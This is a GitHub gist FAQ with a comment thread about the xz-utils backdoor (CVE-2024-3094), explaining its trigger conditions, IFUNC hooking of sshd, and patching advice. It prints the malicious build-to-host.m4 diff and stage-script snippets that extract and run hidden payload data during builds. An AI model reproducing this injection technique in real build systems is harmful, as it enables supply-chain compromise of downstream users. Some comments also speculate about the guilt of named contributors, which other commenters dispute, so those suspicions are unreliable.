Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active December 17, 2024 09:56
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@thesamesam
Copy link
Author

A man has to rest! No problem. I would rather people show stuff as they find it.

@panchoh
Copy link

panchoh commented Mar 30, 2024

That's wrong. It is very very likely that Jia Tan is just a fake identity. We cannot decide the one/ones behind Jia Tan.

Probably the San-Ti.

Sorry, but after two days of this I had to do it.

@brlin-tw
Copy link

@cculianu

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

Disagreed. We shouldn't jump to any conclusions regardless of whether it is pro-Chinese/anti-Chinese.

@Z-nonymous
Copy link

btw, I see mention of W11, isn't there also WSL running debian and Ubuntus ? Any potential impact ?

@cw-alexcroteau
Copy link

cw-alexcroteau commented Mar 30, 2024

btw, I see mention of W11, isn't there also WSL running debian and Ubuntus ? Any potential impact ?

@Z-nonymous WSL runs regular Linux distributions, with some level of patches. Afaik Ubuntu in WSL includes the regular set of packages, so there's a potential that the affected sshd version is installed just like on a "regular" Linux installation. I've personally used sshd and had to work with systemd in wsl2, so I think it would be safer for people to verify their installation to ensure the backdoored version isn't installed. Of course, it is just present in testing versions for now, and that would apply the same way on WSL.

@GoodMirek
Copy link

GoodMirek commented Mar 30, 2024

Lasse Collin has started making commits to xz, removing another malicious commit blocking a Landlock sandbox:

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

Here's the malicious commit that disabled the Landlock sandbox.
https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7

Credit for noticing it: @joeyh@hachyderm.io, @cschabetsberger@mstdn.social

@KFERMercer
Copy link

@cculianu

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

Disagreed. We shouldn't jump to any conclusions regardless of whether it is pro-Chinese/anti-Chinese.

@brlin-tw

he just use the word "likely", why you makes opposition in this hurry?

what kind of "conclusions" you just disagreed actually?

@Z-nonymous
Copy link

In the light of: https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

The payload is extracted from the N value (the public key) passed to RSA_public_decrypt, checked against a simple fingerprint, and decrypted with a fixed ChaCha20 key before the Ed448 signature verification.

Can someone explain to me this PR openssl/openssl#23301
"LoongArch64: Fix PR #22817 introduced performance regression of ChaCha20"
submitted by someone with little activity, reviewed xry111 and then:

xry111

My approve is useless anyway :(. We need to collect 3 approves from the OpenSSL maintainers AFAIU.

@t8m :

2 approves are sufficient.

Then @slontis approves.

It's an assembly change

@thesamesam
Copy link
Author

thesamesam commented Mar 30, 2024

@Z-nonymous I'm not sure what your point is there... xry111 just misunderstood whatever the OpenSSL procedure is. t8m and slontis are both well-known, longstanding members of the OpenSSL team. xry111 and xen0n are both maintainers of some of the loong ports in the kernel/toolchain and I'm not surprised they show up to review other changes to core packages where the changes are specific to loong...

Also, while it would obviously not make any possible malicious activity okay, loong isn't exactly a big target. Not sure it would really be worth the effort, although I guess maybe during the porting period would be the best time to sneak stuff in.

In any case, to me, this looks a bit like a witch-hunt against two people who are Chinese.

I have no knowledge of the loong ISA to re-review it, but I don't really see any evidence it's merited either.

@duracell
Copy link

@cculianu

Agreed. In fact it's likely the guy isn't Chinese at all and that is 100% misdirection.

Disagreed. We shouldn't jump to any conclusions regardless of whether it is pro-Chinese/anti-Chinese.

@brlin-tw

he just use the word "likely", why you makes opposition in this hurry?

what kind of "conclusions" you just disagreed actually?

I'm not a native speaker, but I also understand "likely" as the chances are higher that "the guy isn't Chinese". Which is just not possible to say.
So maybe the wording is just confusing for (at least) some people or it's wrong.

@TyrHeimdalEVE
Copy link

btw, I see mention of W11, isn't there also WSL running debian and Ubuntus ? Any potential impact ?

If you've updated either recently, that included the affected packages, enabled systemd and ran sshd that was available openly then yes. But that's a very long stretch as systemd isn't even on by default in WSL.

This primarily (at this point) seems to be leveraging hijacking a function for decrypting certificates to smuggle a payload to gain RCE, targeting OpenSSH via systemd dependency (liblzma) as the vector.

@cre0z
Copy link

cre0z commented Mar 30, 2024

Lasse Collin has started making commits to xz, removing another malicious commit blocking a Landlock sandbox:

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

Here's the malicious commit that disabled the Landlock sandbox. https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7

Do I understand correctly that a single dot prevented the code snippet to compile and therefore disabled the landlock sandbox?
Do snippets that fail to build trigger a warning or something? If so, how come nobody has noticed this before?

@thesamesam
Copy link
Author

@schkwve It only affected the CMake build which very few people use for xz at this point. It's still WIP and not encouraged for it I think. Also, landlock support is still pretty new in the kernel, but even newer in xz, so I wouldn't expect many to notice anyway.

@xry111
Copy link

xry111 commented Mar 30, 2024

In the light of: https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

The payload is extracted from the N value (the public key) passed to RSA_public_decrypt, checked against a simple fingerprint, and decrypted with a fixed ChaCha20 key before the Ed448 signature verification.

Can someone explain to me this PR openssl/openssl#23301 "LoongArch64: Fix PR #22817 introduced performance regression of ChaCha20" submitted by someone with little activity, reviewed xry111 and then:

I made a stupid mistake in openssl/openssl#22817 and openssl/openssl#23301 fixes it. So I approved it quickly feeling guilty. But as I've explained my approve is useless, only the approves from OpenSSL maintainers count. I remembered 2 as 3 mistakenly though.

And my stupid mistake was "just" making it slower (the condition to use vector routine instead of scalar routine was wrong, thus scalar routine was always used regardless of input size). It's not a security issue. (Note that a Big-O regression may be considered a DoS, but in this case there's no Big-O regression.)

And, ChaCha20 is just an algorithm, both valid users and malicious users can use it. There is nothing in the change specifically favoring malicious uses. Making code faster benefits both valid users and malicious users, but nobody will reason like "to slow down malicious users let's make everything slow" for any algorithm except one-way hashes.

It's just like we know malicious attacker are using BSGS algorithm to hack RSA with too small keys, but every ICPC team is having BSGS algorithm in their code base. And it does not make ICPC same as CTF.

@thesamesam
Copy link
Author

Ah, I didn't realise it was fixing a previous commit of yours. In any case, my comments stand about it not being suspicious at all.

@erinacio
Copy link

Let alone it's loongarch64 assembly code. The machine code it produces just won't run and actually can't run on any x64 machine the xz backdoor targets to.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

If you've updated either recently, that included the affected packages, enabled systemd and ran sshd that was available openly then yes. But that's a very long stretch as systemd isn't even on by default in WSL.

Thank you.

@Z-nonymous I'm not sure what your point is there... xry111 just misunderstood whatever the OpenSSL procedure is. t8m and slontis are both well-known, longstanding members of the OpenSSL team.

Just asking if they really reviewed. for side effects

I don't say they submit faulty code _they might be sometimes on good faith wrongly approving stuff from a bad actor that ends up having side effects. that's why I noted the pure issue.
They maybe really want to push Loongson arch support and are played.

xry111 and xen0n are both maintainers of some of the loong ports in the kernel/toolchain and I'm not surprised they show up to review other changes to core packages where the changes are specific to loong...

I'm making correlations, asking advice. i.e. liblzma_la-crc64-fast.o is the backdoor as per https://gynvael.coldwind.pl/?id=782
xry111 was also commit code for LoongArch for CRC code in xv approved by JiaT75 in tukaani-project/xz#86

, loong isn't exactly a big target.

Well, I need to further investigate, there has been reviews from them in many code/functions modules that are in the analysis from thread in https://www.openwall.com/lists/oss-security/2024/03/29/4 that have been modified for LoongArch in some form
The breath of area they are contributing (comments, reviews, approvals, PRs) in that team is everywhere, Compilation, system services, ssl, crypto, kernel, localization, html, assembly, c, rust, node, nvm, dosbox,

They can't potentially know every possible implications of updates in such a large code base.

Again:
I don't say they submit faulty code _they might be sometimes on good faith wrongly approving stuff from a bad actor that ends up having side effect they don't apprehend.
I will review make-ca but maybe there are places

In any case, to me, this looks a bit like a witch-hunt against two people who are Chinese.

Do you know these people IRL ? Do you know the people they approve the PRs of ? How do you know any GH user is Chinese ? Only real police/federal/interpol investigation can determine that. Even then sometimes they could arrest someone who happened to have found a usb key in Latvia instead of a Russian agent.

I've worked with many Chinese colleages in research & engineering, they are as brilliant minds as anyone. I never implied anything Chinese-related, maybe my fault was trying to explain that Loongson is a Chinese CPU manufacturer for context. I even ever say they were actually from that company. I just assumed they implement support for it.

They might be played by people complaing about bad Loongson support, providing engineered reports, forcing to make changes they don't always understand the side effects.

If you've updated either recently, that included the affected packages, enabled systemd and ran sshd that was available openly then yes. But that's a very long stretch as systemd isn't even on by default in WSL.

Thank you.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

Again thank you xry111 for the replies even though I would also like other maintainers input about their review.

@Z-nonymous
Copy link

Let alone it's loongarch64 assembly code. The machine code it produces just won't run and actually can't run on any x64 machine the xz backdoor targets to.

Right, on some other places it's just C defines that can be modified somehow at pre-processing stage to be enabled.

@erinacio
Copy link

erinacio commented Mar 30, 2024

I need to further investigate ...

Please stop pointless investigation unless you meet any of that:

  • you're a security expert and can audit the code on your own;
  • you know any potentially affected repos in depth so you can find any suspicious modification;
  • you can stop posting unsound suspicions here;

Please, as I indicated before, submit issues and discuss in each potentially affected repo there. This is more or less a news following-up gist. I only want to hear about the latest updates about the security incident.


Maybe you need an internet break more than larhzu does? The world is already aware of this issue and everyone related is working hard on it. The next time you check the security issue, it may already be sorted out.

@kam821
Copy link

kam821 commented Mar 31, 2024

Maybe you need an internet break more than larhzu does? The world is already aware of this issue and everyone related is working hard on it. The next time you check the security issue, it may already be sorted out.

+1

@marco-silva0000
Copy link

I'd pay good money if you'd shut up

We might need you @Ninpo

@Ninpo
Copy link

Ninpo commented Mar 31, 2024

@Z-nonymous you really need to leave this thread. You're contributing nothing but white noise and misdirection. xry111 have nothing, nothing to do with this xz vulnerability.

@timtas
Copy link

timtas commented Mar 31, 2024

@Z-nonymous you really need to leave this thread. You're contributing nothing but white noise and misdirection. xry111 have nothing, nothing to do with this xz vulnerability.

Just out of curiosity: is "xry111 have" bad english or woke-speak?

@thesamesam
Copy link
Author

Let's please focus on the issue at hand. Thanks.

@innoseon
Copy link

If someone wants to do bad things, he will avoid a correct name.

@FrankHB
Copy link

FrankHB commented Mar 31, 2024

kill the autools, use meson (the philosophy of meson is : only what is in git should go to the dist, there is even no need for a release, just a tag)

Or take a step further: kill binary distro, use source for confidence, in all serious cases. Binaries are only cache. with no more attack surface.

This also prevents vendor lock-in. Consider when you have a compromised meson...

@ItzSwirlz
Copy link

I want to note - I'm not an expert or anything, but it seems the way of malware infections are now spread is not through cringy downloads from sketchy sites. It seems that attackers are now working towards infecting safe, regular files.

Example: Fractureiser was the result of a guy who compromised CurseForge accounts and injected code into Minecraft Mod JAR files that would then download a payload, and basically install hidden malware onto the system and sneakily hide itself in with similar names to other legit programs.

Here, although this was not account compromise, the idea of sneakily injecting and obfuscating malicious code to secretly do a payload, and then hide itself for a scary amount of time before tech-savvy people figure out something suspicious is going on.

This makes it easier for bad actors in many different ways - this solves the issue of users thinking "I couldn't have gotten a virus, I got it from a legitimate source!" and also solves the issue of being apparent malware that the user knows something is wrong. Instead it will just sit dormant and do its work, without ever having to reveal itself.

@sgammon
Copy link

sgammon commented Mar 31, 2024

There is a string embedded in the binary, as shown here:

https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01#file-hashes-txt-L115

Which appears to function as a killswitch:

https://piaille.fr/@zeno/112185928685603910

In which case this backdoor may be rendered inert by adding the following to /etc/environment:

yolAbejyiejuvnup=Evjtgvsh5okmkAvj

@FrankHB
Copy link

FrankHB commented Mar 31, 2024

I want to note - I'm not an expert or anything, but it seems the way of malware infections are now spread is not through cringy downloads from sketchy sites. It seems that attackers are now working towards infecting safe, regular files.

Example: Fractureiser was the result of a guy who compromised CurseForge accounts and injected code into Minecraft Mod JAR files that would then download a payload, and basically install hidden malware onto the system and sneakily hide itself in with similar names to other legit programs.

Here, although this was not account compromise, the idea of sneakily injecting and obfuscating malicious code to secretly do a payload, and then hide itself for a scary amount of time before tech-savvy people figure out something suspicious is going on.

This makes it easier for bad actors in many different ways - this solves the issue of users thinking "I couldn't have gotten a virus, I got it from a legitimate source!" and also solves the issue of being apparent malware that the user knows something is wrong. Instead it will just sit dormant and do its work, without ever having to reveal itself.

Nothing new. For sake of security, FOSS always works as a PoW (proof of work) system: if you don't work hard enough to review all the code you use by yourself (to prove it is "secure" enough), they can be compromised for a long time. Sometimes there are even no bad actors at all, just plain old bugs, before you get some damage.

For anyone lacking of capability to audit the code, they have to make someone else to do the work. Blindly relying on the reputation of normal developers is also the trivial implementation of this strategy, and (ironically) it really works, just not well in cases like this one.

That's still better than a world of blobs everywhere, at least in the cost of identifying the risks (even not fixable).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment